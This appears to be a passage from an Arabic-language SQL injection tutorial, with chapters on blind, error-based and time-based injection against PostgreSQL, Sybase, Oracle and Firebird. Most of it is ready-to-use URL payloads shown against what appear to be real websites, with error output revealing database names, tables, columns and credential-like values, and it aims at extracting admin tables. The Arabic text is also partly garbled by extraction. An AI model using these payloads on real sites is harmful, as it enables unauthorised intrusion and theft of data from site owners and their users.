في المرحلة الرابع سوف نعتمد على مبدأ الصواب والخطأ بردات الفعل و سوف نتعلم أيضا ل كيفية إستخدام الـ ascii codeلتخمين
الحروف الخاصة بالكلمات الرمستهدفة لذا تجدون الرقام الخاصة بالـ ascii codeالرمستخدمة بذلك الموقع أدناه أو بالجدول التالي لره .
http://www.ascii-code.com/
ثم نتقل للذي بعدهر ورنقارن ربنامء على97 الذى يساوي القيمة الرقميةa ولنبدأ بالحرف البجدي الول بالجدول وهو حرف الـ
. الملحوظة التية
. True والرقم الذي قبلرة ريعطي القيمةFalse دائما ل الحرف الصحيح هو الحرف الذي ريعطي القيمة: ملحوظة
إلى الرقم التالي حتي يعلم السيرفر إننا نبحث عن الحرف صاحبusers يجب تغير القيمة العددية مابعد الجدول: ملحوظة
. الترتيب الثاني أي الرقم إثنين من الكلمة
[2] listproducts.php?cat=1 and ascii(substring((SELECT concat(uname) from users ),2,1))>100 -- - ل يوجد خطأ
s = الحرف
[2] listproducts.php?cat=1 and ascii(substring((SELECT concat(uname) from users ),3,1))>114 -- - ل يوجد خطأ
t = الحرف
[2] listproducts.php?cat=1 and ascii(substring((SELECT concat(uname) from users ),4,1))>115 -- - ل يوجد خطأ
وهي أيضا لpass وبنفس الهيئة السابقة علرفنا القيمة الخاصة بالعمودtest وهي الـuname وهكذا علرفنا القيمة الخاصة بالعمود
. test
- 2الحقن بإستخدام الـ CURRVALوالـ NEXTVALفي قواعد بيانات الـ | PostgreSQLجديد | .
بوستجرس :هو نظام إدارة قواعد البيانات علئقي يعتمد التعامل معه على لغة إس كيو إل وقد تم إصدارها بموجب ترخيص معهد
ماساتشوستس للتكنولوجيا وبالتالي فهو يعتبر من البرمجيات مفتوحة المصدر ,كما هو الحال مع العديد من البرامج المفتوحة المصدر ل
تخضع لسيطرة بوستجرس من قبل أي شركة واحدة ,لذا سوف ندرس بهذا الباب تقنيات حقن قواعد PostgreSQLورمعالجة الخطاء
كن معروفة من قبل . الغير إعتيادية بهذه القاعدة ومعرفة تقنيات لم ت ر
- لنستعرض أول ل الستعلمات الخاصة الرمستخدمة لحقن قواعد بوستجري لنكون رملللمين بها في مشوار الحتراف الطويل
;select+version()::int--
+and+1=(select+version())::int--
SubQ :
+and+1=cast((select+version())+as+int)--
current_database()
;select+current_database()::int--
+and+1=(select+current_database())::int--
SubQ :
+and+1=cast((select+current_database())+as+int)--
User :
current_user
session_user
getpgusername()
usename+from+pg_user
;select+getpgusername()::int--
+and+1=(select+getpgusername())::int--
SubQ :
+and+1=cast((select+getpgusername())+as+int)--
;select+(version()||chr(58)||current_user||chr(58)||current_database())::int--
+and+1=(select+version()||chr(58)||current_user||chr(58)||current_database())::int--
SubQ :
+and+1=cast((SELECT+version()||chr(58)||current_user||chr(58)||current_database())+as+int)--
☆*•.¸☆ إستعلمات إستخراج الجداول: ¸☆ ثانيا ل.•*☆
+and+1=(select+table_name+from+information_schema.tables+limit+1+offset+1)::int--
version:8.4.x :
+and+1=(select+array_to_string(array_agg(table_name::text),$$/$$)+from+information_schema.tables)::int--
all version :
+and+1=cast((select+table_name+from information_schema.tables+limit+1+offset+1)+as+int)--
version:8.4.x :
+and+1=cast((select+array_to_string(array_agg(table_name::text),$$:$$)+from
information_schema.tables+where+table_schema not in ($$information_Schema$$,$$pg_catalog$$))+as+int)--
all version :
all version :
all version :
version:8.4.x :
and+1=cast((select+array_to_string(array_agg(column_name::text),$$:$$)+from
information_schema.columns+where+table_name=$current_table_name SQL Encode"Oracle"$))+as+int)--
| التطبيق العملي للمسئلة لكشف الخبايا والسرار الجديدة |
www.InjectorBoy.md/news.php?id=Servizi
'www.InjectorBoy.md/news.php?id=Servizi
. الموقع رمصاب كما تبين من الخطأ الناتج والرمقارنة بين الصفحتين لكن لرنلحظ الخطأ الناتج جيدا ل
Could not successfully run query (select * from muoversi.categoria, muoversi.servizi where categoria.idservizi=servizi.idservizi and
servizio in('Servizi'') order by servizio , nrinelenco) from DB: ERROR: unterminated quoted string at or near "'Servizi'') order by
servizio , nrinelenco" at character 112
. لذا وكما رنلحظ الخطأ رقم واحد منرهم أي الخطاء هو الخطأ الناتج بالصفحة لذا إستنتجت ذلك منه
توجد رملحظة رأخرى بالخطأ وهي وجود أقوس رمتعددة والتي تعني أن الحقن داخل الـ )( لذا سوف يكون الستعلم التالي: رملحظة
. كلي للعمدة
رمستخدما ل لمعرفة العدد ال ر
Could not successfully run query (select * from muoversi.categoria, muoversi.servizi where
categoria.idservizi=servizi.idservizi and servizio in('Servizi') union select 1', '2', '3', '4', '5', '6', '7', '8-- -') order by
servizio , nrinelenco) from DB: ERROR: syntax error at or near "', '" at character 137
حدث خطأ ل مرلةر رأخرى بالصفحة ولرنلحظ أن بداخل هذا الخطأ تعددة إشارة الكومة رتغللق على الرقام ال ر
كلية للعمدة لذا لتخطي ذلك
الخطأ أينما يظهر لنا في أي موقع أخر لحقا ل سوف يكون بإضافة إشارة كومة قبل وبعد عدد العمدة الثمانية أي إغلق كامل وذلك لعمل
perfect varchar columnsوذلك على النحو التالي
'
www.InjectorBoy.md/news.php?id=Servizi') union select 1,2,3,4,5,6,7,8 -- - '
ظهر العمود رقم ثلث بالصفحة مما دل على إنة هو العمود الرمصاب من مجموع العمدة ال ر
كلية .
لنختبر بالستعلم ()versionإصدار قاعدة البيانات .
رنلحظ بالصفحة أن الستعلم ()versionلم تظهر قيمرة المطلوبة لكن ظهرت عين الكلمة بالعمود الرمصاب بسبب الرمشكلة السابقة الـ
كلي للعمدة فعلية أي شئ سيتم كتابة بالتعويض داخل العمود ' ',ولننا عالجنا تلك الرمشكلة بوضع إشارتى تنصيص قبل وبعد العدد ال ر
الرمصاب رقم ثلثة سيتم رمعالجتره على إنره نص لذا لتفادي ذلك المر علينا إيجاد حل لغلق الـ stringوإداخل البيانات ,أقول يمكننا
عمل concatللعمود رقم ثلثة بإستخدام الـ || The Vertical Barبقواعد البيانات postgresqlكالتالي
PostgreSQL 8.4.22 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-54), 32-bit
بقواعد البيانات تسلسل رمخطط الـ schemaيلور للد قيما ل رمتسلسلة فريدة من نوعها وغالبا ل ماتستخلدم هذه القيم مفاتيح أساسية فريدة من
نوعها أيضا ل ,لذا يمكن الرجوع إلى هذه القيم الرمتسلسلة في عبارات الـ SQLمع هذه العمدة الزائفة بإستخدام CURRVALو
. NEXTVAL
لذا فالـ CURRVALوالـ NEXTVALيجب أن تكونا ذات أهلية بمعنى أنها تحمل السم التسلرسلي كالتالي ...
sequence.CURRVAL
sequence.NEXTVAL
وللشارة إلى القيمة الحالية أو القادمة من التسلرسل في الرمخطط schemaلرمستخدم أخر بإستخدام CURRVALو NEXTVAL
يجب أن تكونا رملنحتا إمتياز الكائن سيليكت ] [ SELECT object privilegeفي هذا التسلرسل لذا يجب أن تكون ذات تسلرسل مع
مخطط schemaكالتالي ...
schema.sequence.CURRVAL
schema.sequence.NEXTVAL
وللشارة إلى قيمة التسلسل بقاعدة البيانات عن بعد ، remote databaseيجب تألهل التسلسل مع السم الكامل أو الجزئي للرتباط
بقاعدة البيانات كالتالي ...
schema.sequence.CURRVAL@dblink
schema.sequence.NEXTVAL@dblink
☆*• ☆¸.قائمة إستخدم القيم الرمتسلسلة ☆*•.¸☆ Sequence Values
-1قائمة الـ SELECTمن عبارة SELECTالتي لم رتحتوي في subqueryأو materialized viewأو . view
-5في إستعلم SELECTالتي يتم دمجها مع UNIONو INTERSECTأو . MINUS set operator
-7القيمة الفتراضية DEFAULT valueلعمود في بيان CREATE TABLEأو . ALTER TABLE statement
في single SQL statementالذي تستخلدم الـ CURVALأو NEXTVALفي كافة العمدة الطويلة LONG columns
والجداول المحدثة المشار إليها ، updated tablesوالجداول المؤمنة locked tablesيجب أن تكون موجودة في نفس قاعدة
البيانات .
☆*•.¸☆ NEXTVAL وCURRVAL التطبيق العملي للقيم ☆¸.•*☆
| | الموقع الهدف
www.InjectorBoy.com/article.php?id=1533'
| | الخطأ الناتج
Warning: pg_query(): Query failed: ERROR: syntax error at or near "\" at character 868 in
/usr/www/phpe3e5.com/classes/DBHelper.class.php on line 551
www.InjectorBoy.com/article.php?id=1533+and 1=CAST(current_user||CHR(58)||current_database()||CHR(58)||
version()||CHR(58)||123 as int)
Warning: pg_query(): Query failed: ERROR: invalid input syntax for integer: "PostgreSQL 8.0.1 on i386-portbld-
freebsd5.3, compiled by GCC cc (GCC) 3.4.2 [FreeBSD] 20040728123" in
/usr/www/phpe3e5.com/classes/DBHelper.class.php on line 551
| | التطبيق العملي
Warning: pg_query(): Query failed: ERROR: relation "data_type_privileges" does not exist in
/usr/www/phpe3e5.com/classes/DBHelper.class.php on line 551
Warning: pg_query(): Query failed: ERROR: relation "admins" does not exist in
/usr/www/phpe3e5.com/classes/DBHelper.class.php on line 551
and 1=nextval((select column_name from information_schema.columns where table_name like chr(0) limit 1 offset
0))
: من الموقع التاليOracle, PostgreSql and MSAccess concatenation بالـadmins لكن أول ل لرنشفر الجدول
http://www.waraxe.us/sql-char-encoder.html
: إذا الجدول الرمشفر هو
CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)||CHR(115)
and 1=nextval((select column_name from information_schema.columns where table_name like chr(0) limit 1 offset
0))
Warning: pg_query(): Query failed: ERROR: relation "id" does not exist in
/usr/www/phpe3e5.com/classes/DBHelper.class.php on line 551
Warning: pg_query(): Query failed: ERROR: relation "name" does not exist in
/usr/www/phpe3e5.com/classes/DBHelper.class.php on line 551
Warning: pg_query(): Query failed: ERROR: relation "pass" does not exist in
/usr/www/phpe3e5.com/classes/DBHelper.class.php on line 551
Warning: pg_query(): Query failed: ERROR: relation "pass||ascxz54d" does not exist in
/usr/www/phpe3e5.com/classes/DBHelper.class.php on line 551
] � - [ 3حقن قواعد PostgreSqlالعمى | جديد | �
في هذا الباب الثالث سوف نقوم بتطبيق أسلوب الحقن العمي بقواعد PostgreSql
www.InjectorBoy.com/article.php?id=80
لنبدأ أول ل بالكشف عن إمكانية الصابة
'www.InjectorBoy.com/article.php?id=80
الستعلم الرمستخدم
الرملحظات :الصفحة قامت بالتحميل بصورة طبيعية مما يعني أن الحرف الول للقاعدة بيساوي ) Char(80والذي ريساوي
الحرف pأول حروف الكلمة . Postgre
Current Database's Length إختبار طول قاعدة البيانات الحالية: ثالثا ل
الستعلم الرمستخدم
الستعلم الرمستخدم
/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT current_database()),1,1))) > 114 ()ل يوجد خطأ
رملحظة :الحرف الصحيح هو الذي يأتي خطأ أمام الرقم الذي ريساوي حرفه ول يأتي خطأ أمام الرقم الذي ياسبقره ول الذي ياليه ,فكما
لحظنا بالمثال السابق عند الرقم مائة وخمسة عشر والذي ريساوي القيمة الحرفية Sظهر خطأ وعند الرقم مائة وأربعة عشر الذي يسبقة
لم يظهر خطأ وعند الرقم مائة وستة عشر الذي ياليه لم يظهر خطأ ,وذلك يعني أن الحرف الول للقاعدة هو الحرف . S
لتحصيل الحرف الثاني سوف نقوم بتغير القيمة الرقمية واحد إلي القيمة الرقمية إثنين للدلله علي الحرف الثاني من الكلمة
وعلى النحو السابق من الختبار جائت حروف قاعدة البيانت ذات الطول الحرف سبعه كالتالي :
قامت الصفحة بالتحميل بصورة صحيحة مما دل على صحة إسم قاعدة البيانات .
ولكن في غالب الحيان ل نجد الجداول الرمستهدفة الرئيسية بالـ current_databaseلذا وقتها لنتبع السلوب التالي -
- بالموقعDatabase كلي لقواعد البيانات
الكشف عن العدد ال ر: خامسا ل
الستعلم الرمستخدم
الستعلم الرمستخدم
لذاd وهو الحرفpg_database الذي سوف نجدهر داخل الـdatabase name بالمثال أعله رنحاول إستخراج الحرف الول من أول
- لنستخرج الحرف التالي
- حدث خطأ عند الرقم واحد مما يعني أنه ليس رهناك من حرف ثالث وهما حرفان فقط
الستعلم الرمستخدم
الستعلم الرمستخدم
الستعلم الرمستخدم
AND (SELECT ascii(SUBSTR((SELECT column FROM table LIMIT 1 OFFSET 0),1,1))) > 0
AND (SELECT ascii(SUBSTR((SELECT table_catalog FROM sis_reg LIMIT 1 OFFSET 0),1,1))) > 0
▂ ▃ ▄ ▅ ▆ ▇ █ نهايـــة الفـصــ ل █ ▇ ▆ ▅ ▄ ▃ ▂
الفصل التاسع � حقن قواعد سايبيس � Sybase
أصبحت سايبيس ثاني نظام لقواعد البيانات وراء أوراكل ،وبعد إجراء صفقة مع مايكروسوفت لتبادل الـ soucecodeلكى تستطيع
مايكروسوفت التسويق على نظام التشغيل OS 2مزود الخدمة في ذلك الوقت ،سايبيس سمى خادم قاعدة البيانات " Sybase
،"SQL Serverحتى الصدار ،4.9سايبيس ومزود خادم مايكروسوفت كانت متطابقة تقريبا ،وبسبب خلفات بين الشركتين حول
تقاسم العائدات ،قررت سايبيس ومايكروسوفت تقسيم الكواد وذهب كل منهما بطريقتها الخاصة ،على الرغم من أن التراث المشترك
واضح جدا للعمليات في ) (T - SQLإجرائية اللغة فضل عن البنية الساسية العملية .الفرق الكبير هو أن سايبيس لديه تراث
يونكس ،في حين أن مايكروسوفت sql serverتم تكييفها مع ""Microsoft Windows NT operating systemفقط ,كما
استأنفت سايبيس تقديم إصدارات لـ" ،"Windowsوأصناف عدة لـ " "Unixولـ". "Linux
سايبيس عانى من تراجع كبير في ثروته في أواخر 1990عندما بدأت Informixالبيع أكثر بهامش كبير ،مع ذلك تم الحصول على
Informixمن قبل IBMفي عام ،2001ولم تعد تنافس كشركة مستقلة ،وفى نوفمبر عام 2005يؤرخ الكتاب الذي كتبه موظفو
Informixعن تاريخ المعركة بين سايبيس و Informixمنذ وقت طويل .
اعتبارا من عام 2006أوراكل تعد الشركة الرائدة في سوق قواعد البيانات بحصة العائدات ،تليها ،IBMثم مايكروسوفت SQL
،SERVERثم سايبيس من وراء منافسيها الرئيسيين بـ %3من حصة السوق ،الستثمارات المصرفية هي واحدة من أكبر القواعد
العملء لسايبيس ،ول تزال بصمة سايبيس في منشآت البرصة وضبط الجراءات هي أكبر بصة لعى ان سايبيس ل تزال القوى في نظم
قواعد البيانات .
www.InjectorBoy.com/index.php?action=media
www.InjectorBoy.com/index.php?action=media'
Warning: sybase_query() [function.sybase-query]: Sybase: Server message: Unclosed quote before the character string
' '. (severity 15, procedure N/A) in /www/InjectorBoy/LFWSmartyPage.php on line 60
- وتوجد هناك أخطاء رمتنوعة رأخري كـ بصمة لكتشاف هذا النوع من القواعد
1- "Warning: sybase_query()
2- "(?i)Warning.*sybase.*"
3- "Sybase message"
4- "Sybase.*Server message.*"
+and+1=convert(integer,((select+@@version)))#
www.InjectorBoy.com/index.php?action=media+and+1=convert(integer,((select+@@version)))#
Sybase: Server message: Syntax error during explicit conversion of VARCHAR value 'Adaptive Server
Enterprise/15.0.1/EBF 13819/P/Sun_svr4/OS 5.8/ase1501/2379/64-bit/FBO/Tue Aug 15 04:20:15 2006' to a INT field.
(severity 16, procedure N/A) in /www/okfarmbureau/LFWSmartyPage.php on line 60
+and+1=convert(integer,(select+DB_NAME(0)))#
www.InjectorBoy.com/index.php?action=media+and+1=convert(integer,(select+DB_NAME(0)))#
Sybase: Server message: Syntax error during explicit conversion of VARCHAR value 'okfarmbureau' to a INT field.
(severity 16, procedure N/A) in /www/okfarmbureau/LFWSmartyPage.php on line 60
okfarmbureau
Tables إستخراج الجداول: رابعا ل
+and+1=convert(integer,(select+min(name)+from+okfarmbureau..sysobjects))#
www.InjectorBoy.com/index.php?action=media+and+1=convert(integer,(select+min(name)
+from+okfarmbureau..sysobjects))#
ybase: Server message: Syntax error during explicit conversion of VARCHAR value 'boardMembers' to a INT field.
(severity 16, procedure N/A) in /www/okfarmbureau/LFWSmartyPage.php on line 60
boardMembers
بالجدول الةمستخرجtable ' للستعلم بعد إستبدال القيمةand name!='table لنفعل ذلك علينا إضافة القيمة
www.InjectorBoy.com/index.php?action=media+and+1=convert(integer,(select+min(name)+from+sysobjects where
type='U' and name!='boardMembers' and name!='events' and name!='galleries' and name!='galleries_photos' and name!
='gallery' and name!='gallery_photos' and name!='newsletters' and name!='newsletters_new' and name!='newsreleases'
and name!='offices' and name!='publication_import'and name!='publications' and name!='publications_new' and name!
='radio' and name!='satellites' and name!='titles')) #
+and+1=convert(integer,(SELECT+min(name)+FROM+okfarmbureau..syscolu
mns+where+id=(select+id+from+database..sysobjects+where+name='table')))#
نقوم بتغير البيانات باللون الحمر بالستعلم أعله بما ريناسب مما إستخرجنا سابقا ل بإسم القاعدة والجدول
www.InjectorBoy.com/index.php?action=media+and+1=convert(integer,(SELECT+min(name)
+FROM+okfarmbureau..syscolumns+where+id=(select+id+from+okfarmbureau..sysobjects+where+name='boardMem
bers')))#
Sybase: Server message: Syntax error during explicit conversion of VARCHAR value 'city' to a INT field. (severity 16,
procedure N/A) in /www/okfarmbureau/LFWSmartyPage.php on line 60
' إلى الستعلم كما فعلنا بعملية تصفح الجداول تماما لand name='column لتصفح باقي العمدة نقوم بإضافة القيمة
Sybase: Server message: Syntax error during explicit conversion of VARCHAR value 'gallery' to a INT field. (severity
16, procedure N/A) in /www/okfarmbureau/LFWSmartyPage.php on line 60
www.InjectorBoy.com/index.php?action=media+and+1=convert(integer,(select+min(name) from syscolumns where
id=(select id from sysobjects where type='U' and name!='city' and name='gallery' ))--
Sybase: Server message: Syntax error during explicit conversion of VARCHAR value 'blackrose' to a INT field.
(severity 16, procedure N/A) in /www/okfarmbureau/LFWSmartyPage.php on line 60
+and+1=convert(int,(select+top+1+cloumn+from+table))--
www.InjectorBoy.com/index.php?action=media+and+1=convert(int,(select+top+1+cloumn+from+table))--
Sybase: Server message: Syntax error during explicit conversion of VARCHAR value 'gazahackerteam' to a INT field.
(severity 16, procedure N/A) in /www/okfarmbureau/LFWSmartyPage.php on line 60
▂ ▃ ▄ ▅ ▆ ▇ █ نهايـــة الفـصــ ل █ ▇ ▆ ▅ ▄ ▃ ▂
الفصل العاشر � حقن قواعد � Oracle
قاعدة بيانات أوراكل هي قاعدة بيانات كائنية علقاتية ) ( Object-relational databaseتصدرها و تسوقها شركة أوراكل وهى نظام
لدارة قواعد البيانات العلئقية RDBMو إدارة معلومات العمل المطلوبة من خلل تحويلها إلى قاعدة بيانات عملية تفيد في
اتخاذ القرارات ومراقبة أداء العمل وتحسين النتاجية والوصول الى سرعة قصوى فى إنجاز العمال .
أنشأ لري إليسون ) (Larry Ellisonمختبرات تطوير البرمجيات للستشارات في عام 1977برفقة صديقيه )اللذان كانا زميليه في
العمل سابقا( بوب مينر ) (Bob Minerو إيد أويتس ) (Ed Oatesو قامت الشركة بتطوير النسخة الولى من برمجية أوراكل .
يأتي السم أوراكل من السم الرمزي لمشروع ممول من وكالة المخابرات المريكية عمل عليه لري إليسون عندما كان موظفا في
أمبيكس .
•◘╚╦☆ مميزات أوراكل ☆╚╦◘•
- 1سرية المعلومات حيث يتوفر نظام لحماية المعلومات يتفوق من الناحية البنائية على النطمة الخرى للشركات المنافسة - 2 .
التعامل مع حجم كبير من البيانات يصل إلى مليين من الميغا بايت .
- 3الدعم الممتاز الذي تقدمه الوراكل للمستخدمين فى جميع أنحاء العالم عن طريق موقعها على النترنت .
- 4تعد أقوى أداه في مجال التجارة اللكترونية وذلك بسبب التكامل الكبير مع لغة الجافا .
- 1لغة SQL - Structured Query Languageفي البرمجة لقواعد بيانات اوراكل .و هى لغة استفسار بنائية .
واللغة SQLهي لغة تدعمها جميع للغات البرمجة سواء Cاو VBاو Javaوغيرها ,ومن خللها تستطيع الوصول إلى البيانات
المخزنة وإجراء العمليات عليها ) إضافة – تعديل – حذف ( في جداول تم تصميمها من خلل احد التطبيقات التي نستخدمها .
– 2لغة PL/SQLفى كتابة البرامج والـ Functionsالخاصة فهى لغة الستفسار الجرائية مثل ولها قواعد مثل اي لغة أخرى – 3.
يمكن استدعاء روتينيات Proceduresمكتوبة بلغات أخرى مثل . Java – C
www.InjectorBoy.md/news.php?id=58
www.InjectorBoy.md/news.php?id=58'
Warning: oci_parse() [function.oci-parse]: ORA-01756: une chaîne entre apostrophes ne se termine pas correctement in
D:\wamp\www_mediaction\site\cfpb_reseau_france.php on line 14
2- "ORA-[0-9][0-9][0-9][0-9]"
3- "Oracle error"
4- "Oracle.*Driver"
5- "Warning.*\Woci_.*"
6- "Warning.*\Wora_.*"
العدد ال ر
كلي للعمدة ثمانية أعمدة
www.InjectorBoy.md/news.php?id=58 union select 1,2,3,4,5,6,7,8--
null ث لم يظهر أي أعمدة مصابة بالصفحة وهذا يتم تخطية بإستبدال الرقم بالقيمة
حدث خطأ حي ر
blackrose الجدول
إستخراج العمدة: ثالثا ل
gazahacker العمود
وفي حالة وضع العمودين معا ل بمكان عمود واحد دون إثنين فالنستخدم ذلك الستعلم
name||'–'||password
� DBMS_PIPE.RECEIVE_MESSAGE العمى بإستخدام تقنيةoracle � حقن قواعد
لذا لنبدأ, oracle تقنية جديدة من تقنيات الحقن العمي لقواعد بياناتDBMS_PIPE.RECEIVE_MESSAGE تقنية
الذي سوف نعتمد عليه بهذا البابASCII أوللا بعرض جدول الـ
الستعلم الرمستخدم
+AND+1=(CASE+WHEN+(ASCII(SUBSTRC((SELECT+NVL(CAST(USER+AS+VARCHAR(4000)),CHR(32))+
FROM+DUAL),1,1))= ascii ) قيمة رقمية لـ+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||CHR(99)||
CHR(100),5)+ELSE+1+END)
كالتاليascii مكان الـ قيمة رقمية لـd والتي رتساوي الحرف64 فالنبدأ مثل ل والقيمة
www.InjectorBoy.md/page.jsp?
id=5+AND+1=(CASE+WHEN+ASCII(SUBSTRC((SELECT+NVL(CAST(USER+AS+VARCHAR(4000)),CHR(32))
+FROM+DUAL),1,1))=64)+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||CHR(99)||
CHR(100),5)+ELSE+1+END)
لنجرب حرف ثاني مع رملحظة إستبدال القيمةd الصفحة قامت بالتحميل لمدة خمسة ثواني مما يعني أن الحرف الول هو الحرف
الرقمية واحد إلى رقم إثنين الذي يعني الحرف الثاني
FROM+DUAL),1,1))=64)
FROM+DUAL),2,1))=64)
www.InjectorBoy.md/page.jsp?
id=5+AND+1=(CASE+WHEN+ASCII(SUBSTRC((SELECT+NVL(CAST(USER+AS+VARCHAR(4000)),CHR(32))
+FROM+DUAL),2,1))=117)+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||CHR(99)||
CHR(100),5)+ELSE+1+END)
www.InjectorBoy.md/page.jsp?
id=5+AND+1=(CASE+WHEN+ASCII(SUBSTRC((SELECT+NVL(CAST(USER+AS+VARCHAR(4000)),CHR(32))
+FROM+DUAL),2,1))=68)+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||CHR(99)||
CHR(100),5)+ELSE+1+END)
+AND+1=(CASE+WHEN+ASCII(SUBSTRC((SELECT+NVL(CAST(banner+AS+VARCHAR(4000)),CHR(32))
+FROM+v$version),1,1))=ascii )قيمة رقمية لـ+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||
CHR(99)||CHR(100),5)+ELSE+1+END)
+AND+1=(CASE+WHEN+(ASCII(SUBSTRC((SELECT+NVL(CAST(name+AS+VARCHAR(4000)),CHR(32))
+FROM+v$database),1,1))= ascii ) قيمة رقمية لـ+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||
CHR(99)||CHR(100),5)+ELSE+1+END)
+AND+1=(CASE+WHEN+ASCII(SUBSTRC((SELECT+NVL(CAST(table_name+AS+VARCHAR(4000)),CHR(32)
)+FROM+all_tables),1,1))= ascii ) قيمة رقمية لـ+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||
CHR(99)||CHR(100),5)+ELSE+1+END)
+AND+1=(CASE+WHEN+ASCII(SUBSTRC((SELECT+NVL(CAST(column_name+AS+VARCHAR(4000)),CHR(
32))+FROM+all_tab_columns WHERE table_name = ‘);’الجدول الرمستخرج,1,1))= ascii ) قيمة رقمية لـ
+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||CHR(99)||CHR(100),5)+ELSE+1+END)
▂ ▃ ▄ ▅ ▆ ▇ █ نهايـــة الفـصــ ل █ ▇ ▆ ▅ ▄ ▃ ▂
الفصل الحادي عشر :حقن قواعد الـ Firebird
فيربيرد :هو محرك قاعدة بيانات علئقية مفتوح المصدر .تم تطويره من النسخة مفتوحة المصدر من قاعدة البيانات إنتربيز التي
أنتجتها شركة بورلند .
و هو يمتاز بخفته وسهولة تثبيته وهو موجودة في أكثر من منصة نظام تشغيل ،مثل وندوز ،لينكس وماكنتوش .
ويمكن التعامل مع قواعد بياناتها بواسطة برامج إدارة قواعد البيانات المصممة له مثل :
فايربيرد هو نظام قوي ومكتمل المزايا لدارة قواعد البيانات العلئقية .ويمكنه مناولة قواعد بيانات حجمها من مجموعة كيلو
بايت فقط إلى العديد من الغيغابايت مع أداء جيد ودون الحاجة إلى صيانتها في أغلب الحوال! فيما يلي قائمة ببعض أهم
مزايا فايربيرد • :دعم كامل للجرائيات المخزونة Stored Proceduresوالمفعلت ( • Triggersتلبية كاملة لعمليات
) ACIDالوحدانية ،التجانس ،العزل ،المتانة • تكامل مرجعي • Referential Integrityمعمارية متعددة الجيال Multi
• Generational Architectureبصمة صغيرة جدا • لغة داخلية مكتملة المزايا للجرائيات المخزونة والمفعلت ـ PSQLـ •
دعم الجرائيات الخارجية ـ UDFsـ • ندرة الحاجة لوجود مدراء قواعد بيانات متخصصين • DBaseل حاجة للتوصيفات تقريبا
– فقط قم بتثيته وابدأ التشغيل! • مجتمع كبير لفايربيرد والعديد من الماكن التي تجد فيها دعما مجانيا جيدا • .خيار
استخدام نسخة مدمجة embeddedبملف وحيد – خيار جيد لنشاء تطبيقات على القرص المدمج ،أو لمستخدم واحد ،أو تلك
الخاصة بالعرض والتقييم • .العشرات من الدوات من مصادر خارجية ،من ضمنها أدوات رسومية للتحكم ولدارة ،وأدوات توأمة
البيانات ،ألخ • الكتابة بعناية – استعادة سريعة ،دون الحاجة لملفات تدوين العمليات • ! logsعدة طرق للنفاذ إلى قاعدة
البيانات :عبر الدوال الصلية native/APIأو مسيرات dbExpressأو مزودات ODBCو OLEDBودوت نت ومسيرات
JDBCوقوالب لبايثون Paythonو PHPو ،Perlالخ .
•◘╦╚☆ •◘╚╦☆ الفروقات الساسية
mysql وقواعد الـFirebird لرنلفت نظر حضرارتكم إلى الفروقات بين قواعد الـ
. rdb$relation_name فريكنى بـFirebird أما بقواعد الـtable_name دائما ل أسم الجدول ريكنى بـmysql بقواعد الـ: أول
. rdb$field_name فريكنى بـFirebird أما بقواعد الـcolumn_name دائما ل أسم العمود ريكنى بـmysql بقواعد الـ: ثانيا ل
حتى ل تعود علينا الستعلمات بالخطاء وذلك ليس/**/ للبعاد بين الستعلمات بل نستخدم الـ كومنتس+ ل نستخدم الـ: رملحوظة
. كما يوضح بالتجرربة التالية# ونقوم بغلق الستعلمات دائما ل برمز الشباك, دائما ل إنما فى بعض الحيان فقط
/**/and/**/1=user#
www.InjectorBoy.GHT/as/exibir_noticias.php?id=362+and+1=user#
Warning: ibase_query() [function.ibase-query]: Dynamic SQL Error SQL error code = -104 as approximate
floating-point values in SQL dialect 1, but as 64-bit in \\deceasrv16\hca$\noticias\exibir_noticias.php on line 15
www.InjectorBoy.GHT/as/exibir_noticias.php?id=362/**/and/**/1=user#
Warning: ibase_query() [function.ibase-query]: Dynamic SQL Error SQL error code = CNWR -104 as
approximate floating-point values in SQL dialect 1, but as 64-bit in \\deceasrv16\hca$\noticias\exibir_noticias.php
on line 15
+and+1=(select+first+1+rdb$relation_name+from+rdb$relations+where+rdb$system_flag=0)#
www.InjectorBoy.GHT/as/exibir_noticias.php?
id=362/**/and/**/1=(select/**/first/**/1/**/rdb$relation_name/**/from/**/rdb$relations/**/where/**/rdb$system_fla
g=0)#
Warning: ibase_query() [function.ibase-query]: Dynamic SQL Error SQL error code = CNW_NOTS -104 as
approximate floating-point values in SQL dialect 1, but as 64-bit in \\deceasrv16\hca$\noticias\exibir_noticias.php
on line 15
+and+1= select+first+1+skip+0+distinct+cast(rdb$relation_name+as+integer)
+from+rdb$relations+where+rdb$system_flag=0)#
www.InjectorBoy.GHT/as/exibir_noticias.php?
id=362/**/and/**/1=(select/**/first/**/1/**/skip/**/0/**/distinct/**/rdb$relation_name/**/from/**/rdb$relation_field
s)#
Warning: ibase_query() [function.ibase-query]: Dynamic SQL Error SQL error code = CNW_NOTICIAS -104
as approximate floating-point values in SQL dialect 1, but as 64-bit in
\\deceasrv16\hca$\noticias\exibir_noticias.php on line 15
. أي المسؤلة عن التبديل بين الجداول والعمدةlimit+0 هي نفس قيمة الـskip+0 الـ: ملحوظة
كان31 لذا عند القيمة, skip+0 ولتصرفح باقى الجداول نقوم بالتبديل بقيمة بالـCNW_NOTICIAS الجدول الول ريساوي القيمة
. RDB$USER_PRIVILEGES الجدول الرمستهدف يستقر وهو الـ
www.InjectorBoy.GHT/as/exibir_noticias.php?
id=362/**/and/**/1=(select/**/first/**/1/**/skip/**/31/**/distinct/**/rdb$relation_name/**/from/**/rdb$relation_fiel
ds)#
+and+1=(select+first+1+skip+0+distinct+rdb$field_name+from+rdb$relation_fields+where+rdb$relation_name=(sele
ct+first+1+skip+0+distinct+rdb$relation_name+from+rdb$relation_fields))#
إلى القيمة التي رتساوي قيمة الجدول الرمستخرج سابقا ل مع البقاء على قيمةskip+0 لنستبدل القيمة الثانية للـ: ملحوظة
